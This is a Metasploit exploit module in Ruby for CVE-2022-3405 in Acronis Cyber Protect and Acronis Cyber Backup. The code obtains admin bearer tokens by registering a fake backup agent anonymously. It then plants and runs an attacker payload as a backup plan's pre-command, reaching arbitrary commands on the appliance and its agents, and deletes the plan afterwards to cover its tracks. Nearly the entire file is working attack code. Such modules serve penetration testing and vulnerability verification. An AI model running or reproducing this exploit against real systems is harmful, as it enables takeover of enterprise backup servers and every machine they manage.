##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HTTP::AcronisCyber
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Acronis Cyber Protect/Backup remote code execution',
        'Description' => %q{
          Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,
          compute, storage and application resources. Businesses and Service Providers are using it
          to protect and backup all IT assets in their IT environment.
          The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous
          registration of new protect/backup agents on new endpoints. This API endpoint also
          generates bearer tokens which the agent then uses to authenticate to the appliance.
          As the management web console is running on the same port as the API for the agents, this
          bearer token is also valid for any actions on the web console. This allows an attacker
          with network access to the appliance to start the registration of a new agent, retrieve a
          bearer token that provides admin access to the available functions in the web console.

          The web console contains multiple possibilities to execute arbitrary commands on both the
          agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation
          job on the agent of the appliance). These options can easily be set with the provided bearer
          token, which leads to a complete compromise of all agents and the appliance itself.

          You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`
          to collect target info for exploitation in this module. Or just run this module standalone and
          it will try to exploit the first online endpoint matching your target and payload settings
          configured at the module.

          Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
          Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.
        },
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
          'Sandro Tolksdorf of usd AG.'             # discovery
        ],
        'References' => [
          ['CVE', '2022-3405'],
          ['URL', 'https://herolab.usd.de/security-advisories/usd-2022-0008/'],
          ['URL', 'https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405']
        ],
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux', 'windows'],
        'Privileged' => true,
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => ['windows'],
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-11-08',
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 9877
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'The URI of the vulnerable Acronis Cyber Protect/Backup instance', '/']),
      OptString.new('HOSTID', [false, 'hostId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']),
      OptString.new('PARENTID', [false, 'parentId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']),
      OptString.new('KEY', [false, 'key value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']),
      OptEnum.new('OUTPUT', [true, 'Output format to use', 'none', ['none', 'json']])
    ])
  end

  # create and import backup plan data with payload
  # returns nil if not successful
  def create_and_import_backup_plan(hostid, parentid, key, payload, access_token2)
    id = Faker::Internet.uuid
    name = Rex::Text.rand_text_alphanumeric(5..8).downcase

    # we need to split the payload in the command and the arguments
    # otherwise command execution does not work for windows targets
    cmd_line = payload.split(' ', 2)

    case target['Type']
    when :unix_cmd
      source_dir = '/home'
      target_dir = '/tmp'
    when :win_cmd
      source_dir = 'c:/users/public'
      target_dir = 'c:/windows/temp'
    else
      # probably macOS or other unix version
      source_dir = '/home'
      target_dir = '/tmp'
    end

    plan_data = {
      allowedActions: ['rename', 'revoke', 'runNow'],
      allowedBackupTypes: ['full', 'incremental'],
      backupType: 'files',
      bootableMediaPlan: false,
      editable: true,
      enabled: true,
      id: id.to_s,
      locations: { data: [{ displayName: target_dir.to_s, id: "[[\"ItemType\",\"local_folder\"],[\"LocalID\",\"#{target_dir}\"]]", type: 'local_folder' }] },
      name: name.to_s,
      options: {
        backupOptions: {
          prePostCommands: {
            postCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' },
            preCommands: {
              command: cmd_line[0].to_s,
              commandArguments: cmd_line[1].to_s,
              continueOnCommandError: true,
              waitCommandComplete: false,
              workingDirectory: ''
            },
            useDefaultCommands: false,
            usePostCommands: false,
            usePreCommands: true
          },
          prePostDataCommands: {
            postCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' },
            preCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' },
            useDefaultCommands: true,
            usePostCommands: false,
            usePreCommands: false
          },
          scheduling: { interval: { type: 'minutes', value: 30 }, type: 'distributeBackupTimeOptions' },
          simultaneousBackups: { simultaneousBackupsNumber: nil },
          snapshot: {
            quiesce: true,
            retryConfiguration: {
              reattemptOnError: true,
              reattemptTimeFrame: { type: 'minutes', value: 5 },
              reattemptsCount: 3,
              silentMode: false
            }
          },
          tapes: { devices: [], overwriteDataOnTape: false, preserveTapesPosition: true, tapeSet: '' },
          taskExecutionWindow: {},
          taskFailureHandling: { periodBetweenRetryAttempts: { type: 'hours', value: 1 }, retryAttempts: 1, retryFailedTask: false },
          taskStartConditions: { runAnyway: false, runAnywayAfterPeriod: { type: 'hours', value: 1 }, waitUntilMet: true },
          validateBackup: false,
          volumes: {
            forceVssFullBackup: false,
            useMultiVolumeSnapshot: true,
            useNativeVssProvider: false,
            useVolumeShadowService: true,
            useVssFlags: ['definedRule']
          },
          vssFlags: { availableVssModes: ['auto', 'system'], enabled: true, value: 'auto', vssFullBackup: false },
          windowsEventLog: { isGlobalConfigurationUsed: true, traceLevel: 'warning', traceState: false },
          withHWSnapshot: false
        },
        specificParameters: { inclusionRules: { rules: [ source_dir.to_s ], rulesType: 'centralizedFiles' }, type: '' }
      },
      origin: 'centralized',
      route: {
        archiveSlicing: nil,
        stages: [
          {
            archiveName: '[Machine Name]-[Plan ID]-[Unique ID]A',
            cleanUpIfNoSpace: false,
            cleanup: {
              time: [
                { backupSet: 'daily', period: { type: 'days', value: 7 } },
                { backupSet: 'weekly', period: { type: 'weeks', value: 4 } }
              ],
              type: 'cleanupByTime'
            },
            destinationKind: 'local_folder',
            locationScript: nil,
            locationUri: target_dir.to_s,
            locationUriType: 'local',
            maintenanceWindow: nil,
            postAction: {
              convertToVMParameters: {
                agentIds: [],
                cpuCount: nil,
                diskAllocationType: 'thick',
                displayedName: nil,
                enabled: false,
                exactMemorySize: false,
                infrastructureType: '',
                memorySize: nil,
                networkAdapters: [],
                virtualMachineName: '',
                virtualServerHost: nil,
                virtualServerHostKey: '[["ItemType",""],["LocalID",""]]',
                virtualServerStorage: ''
              }
            },
            rules: [
              {
                afterBackup: true,
                backupCountUpperLimit: 0,
                backupSetIndex: 'daily',
                backupUpperLimitSize: 0,
                beforeBackup: false,
                consolidateBackup: false,
                deleteOlderThan: { type: 'days', value: 7 },
                deleteYongerThan: { type: 'days', value: 0 },
                onSchedule: false,
                retentionSchedule: {
                  alarms: [],
                  conditions: [],
                  maxDelayPeriod: -1,
                  maxRetries: 0,
                  preventFromSleeping: true,
                  retryPeriod: 0,
                  type: 'none',
                  unique: false,
                  waitActionType: 'run'
                },
                stagingOperationType: 'justCleanup'
              },
              {
                afterBackup: true,
                backupCountUpperLimit: 0,
                backupSetIndex: 'weekly',
                backupUpperLimitSize: 0,
                beforeBackup: false,
                consolidateBackup: false,
                deleteOlderThan: { type: 'weeks', value: 4 },
                deleteYongerThan: { type: 'days', value: 0 },
                onSchedule: false,
                retentionSchedule: {
                  alarms: [],
                  conditions: [],
                  maxDelayPeriod: -1,
                  maxRetries: 0,
                  preventFromSleeping: true,
                  retryPeriod: 0,
                  type: 'none',
                  unique: false,
                  waitActionType: 'run'
                },
                stagingOperationType: 'justCleanup'
              }
            ],
            useProtectionPlanCredentials: true,
            validationRules: nil
          }
        ]
      },
      scheme: {
        parameters: {
          backupSchedule: {
            kind: { dataType: 'binary', type: 'full' },
            schedule: {
              alarms: [
                {
                  beginDate: { day: 0, month: 0, year: 0 },
                  calendar: { days: 65, type: 'weekly', weekInterval: 0 },
                  distribution: { enabled: false, interval: 0, method: 0 },
                  endDate: { day: 0, month: 0, year: 0 },
                  machineWake: false,
                  repeatAtDay: { endTime: { hour: 0, minute: 0, second: 0 }, timeInterval: 0 },
                  runLater: false,
                  skipOccurrences: 0,
                  startTime: { hour: 23, minute: 0, second: 0 },
                  startTimeDelay: 0,
                  type: 'time',
                  utcBasedSettings: false
                }
              ],
              conditions: [],
              maxDelayPeriod: -1,
              maxRetries: 0,
              preventFromSleeping: true,
              retryPeriod: 0,
              type: 'daily',
              unique: false,
              waitActionType: 'run'
            }
          },
          backupTypeRule: 'byScheme'
        },
        schedule: {
          daysOfWeek: ['monday', 'tuesday', 'wednesday', 'thursday', 'friday'],
          effectiveDates: { from: { day: 0, month: 0, year: 0 }, to: { day: 0, month: 0, year: 0 } },
          machineWake: false,
          preventFromSleeping: true,
          runLater: false,
          startAt: { hour: 23, minute: 0, second: 0 },
          type: 'daily'
        },
        type: 'weekly_full_daily_inc'
      },
      sources: { data: [{ displayName: name.to_s, hostID: hostid.to_s, id: key.to_s }] },
      target: { inclusions: [{ key: key.to_s, resource_key: key.to_s }] },
      tenant: { id: parentid.to_s, locator: "/#{parentid}/", name: parentid.to_s, parentID: '' }
    }.to_json

    form_data = Rex::MIME::Message.new
    form_data.add_part(plan_data, 'application/json', nil, "form-data; name=\"planfile\"; filename=\"#{Rex::Text.rand_text_alpha(4..8)}.json\"")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plan_operations', 'import'),
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest',
        'Authorization' => "bearer #{access_token2}"
      },
      'data' => form_data.to_s,
      'vars_get' => {
        'CreateDraftOnError' => true
      }
    })
    return unless res&.code == 200 && res.body.include?('planId') && res.body.include?('importedPlans')

    # parse json response and return planId
    res_json = res.get_json_document
    return if res_json.blank?

    res_json.dig('data', 'importedPlans', 0, 'planId')
  end

  # remove the backup plan on the target including the payload
  # returns true if successful
  def remove_backup_plan(access_token2)
    post_data = {
      planIds: [@planid.to_s]
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plans_operations', 'remove_plans'),
      'ctype' => 'application/json',
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest',
        'Authorization' => "bearer #{access_token2}"
      },
      'data' => post_data.to_s
    })
    return false unless res&.code == 200

    true
  end

  # execute the backup plan on the target including the payload
  # returns true if successful
  def execute_command(access_token2, _opts = {})
    post_data = {
      planId: @planid.to_s
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plan_operations', 'run'),
      'ctype' => 'application/json',
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest',
        'Authorization' => "bearer #{access_token2}"
      },
      'data' => post_data.to_s
    })
    return false unless res&.code == 200

    true
  end

  def cleanup
    # try to remove imported backup plan with payload to cover our tracks
    # but do not run during the check phase
    super
    unless @check_running
      if remove_backup_plan(@access_token2)
        print_good('Backup plan is successful removed.')
      else
        print_warning('Backup plan could not be removed. Try to clean it manually.')
      end
    end
  end

  def check
    @check_running = true
    # initial check on api access
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'meta'),
      'ctype' => 'application/json'
    })
    return Exploit::CheckCode::Unknown('No Acronis API access found!') unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method')

    # get first access token
    print_status('Retrieve the first access token.')
    @access_token1 = get_access_token1
    vprint_status("Extracted first access token: #{@access_token1}")
    return Exploit::CheckCode::Unknown('Retrieval of the first access token failed.') if @access_token1.nil?

    # register a dummy agent
    client_id = Faker::Internet.uuid
    print_status('Register a dummy backup agent.')
    client_secret = dummy_agent_registration(client_id, @access_token1)
    return Exploit::CheckCode::Unknown('Registering a dummy agent failed.') if client_secret.nil?

    print_status('Dummy backup agent registration is successful.')

    # get second access_token
    print_status('Retrieve the second access token.')
    @access_token2 = get_access_token2(client_id, client_secret)
    vprint_status("Extracted second access token: #{@access_token2}")
    return Exploit::CheckCode::Unknown('Retrieval of the second  access token failed.') if @access_token2.nil?

    # get version info
    version = get_version_info(@access_token2)
    return Exploit::CheckCode::Unknown('Can not find any version information.') if version.nil?

    release = version.match(/(.+)\.(\d+)/)
    case release[1]
    when '15.0'
      if Rex::Version.new(version) < Rex::Version.new('15.0.29486')
        return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}")
      else
        return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}")
      end
    when '12.5'
      if Rex::Version.new(version) < Rex::Version.new('12.5.16545')
        return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}")
      else
        return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}")
      end
    else
      Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}")
    end
  end

  def exploit
    @check_running = false
    # check if @access_token2 is already set as part of autocheck option
    if @access_token2.nil?
      # get first access token
      print_status('Retrieve the first access token.')
      @access_token1 = get_access_token1
      vprint_status("Extracted first access token: #{@access_token1}")
      fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil?

      # register a dummy agent
      client_id = Faker::Internet.uuid
      print_status('Register a dummy backup agent.')
      client_secret = dummy_agent_registration(client_id, @access_token1)
      fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil?
      print_status('Dummy backup agent registration is successful.')

      # get second access_token
      print_status('Retrieve the second access token.')
      @access_token2 = get_access_token2(client_id, client_secret)
      vprint_status("Extracted second access token: #{@access_token2}")
      fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil?
    end

    # if hostid, parentid and key are blank, fetch the first managed online endpoint defined at the appliance matching the module target setting
    hostid = datastore['HOSTID']
    parentid = datastore['PARENTID']
    key = datastore['KEY']
    if hostid.blank? || parentid.blank? || key.blank?
      print_status('Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.')
      res_json = get_machine_info(@access_token2)
      fail_with(Failure::NotFound, 'Can not find any configuration information.') if res_json.nil?

      # find first online target matching the module target settings
      res_json['data'].each do |item|
        next unless item['type'] == 'machine' && (item['osType'] == 'linux' && target['Type'] == :unix_cmd) || (item['osType'] == 'windows' && target['Type'] == :win_cmd) && item['online']

        print_status("Found online target matching your target setting #{target.name}.")
        print_good("hostId: #{item['hostId']}") unless item['hostId'].nil?
        print_good("parentId: #{item['parentId']}") unless item['parentId'].nil?
        print_good("key: #{item['id']}") unless item['id'].nil?
        print_status("type: #{item['type']}") unless item['type'].nil?
        print_status("hostname: #{item['title']}") unless item['title'].nil?
        print_status("IP: #{item.dig('ip', 0)}") unless item.dig('ip', 0).nil?
        print_status("OS: #{item['os']}") unless item['os'].nil?
        print_status("ARCH: #{item['osType']}") unless item['osType'].nil?
        print_status("ONLINE: #{item['online']}") unless item['online'].nil?
        hostid = item['hostId']
        parentid = item['parentId']
        key = item['id']
        break
      end
    end
    fail_with(Failure::NotFound, "No target available matching your target setting #{target.name}.") if hostid.blank? || parentid.blank? || key.blank?

    # create and import backup plan with payload
    print_status("Import backup plan with payload for target with hostId: #{hostid}.")
    @planid = create_and_import_backup_plan(hostid, parentid, key, payload.encoded, @access_token2)
    fail_with(Failure::BadConfig, 'Importing backup plan with payload failed.') if @planid.nil?

    print_status("Executing #{target.name} with payload #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd, :win_cmd
      execute_command(@access_token2)
    end
  end
end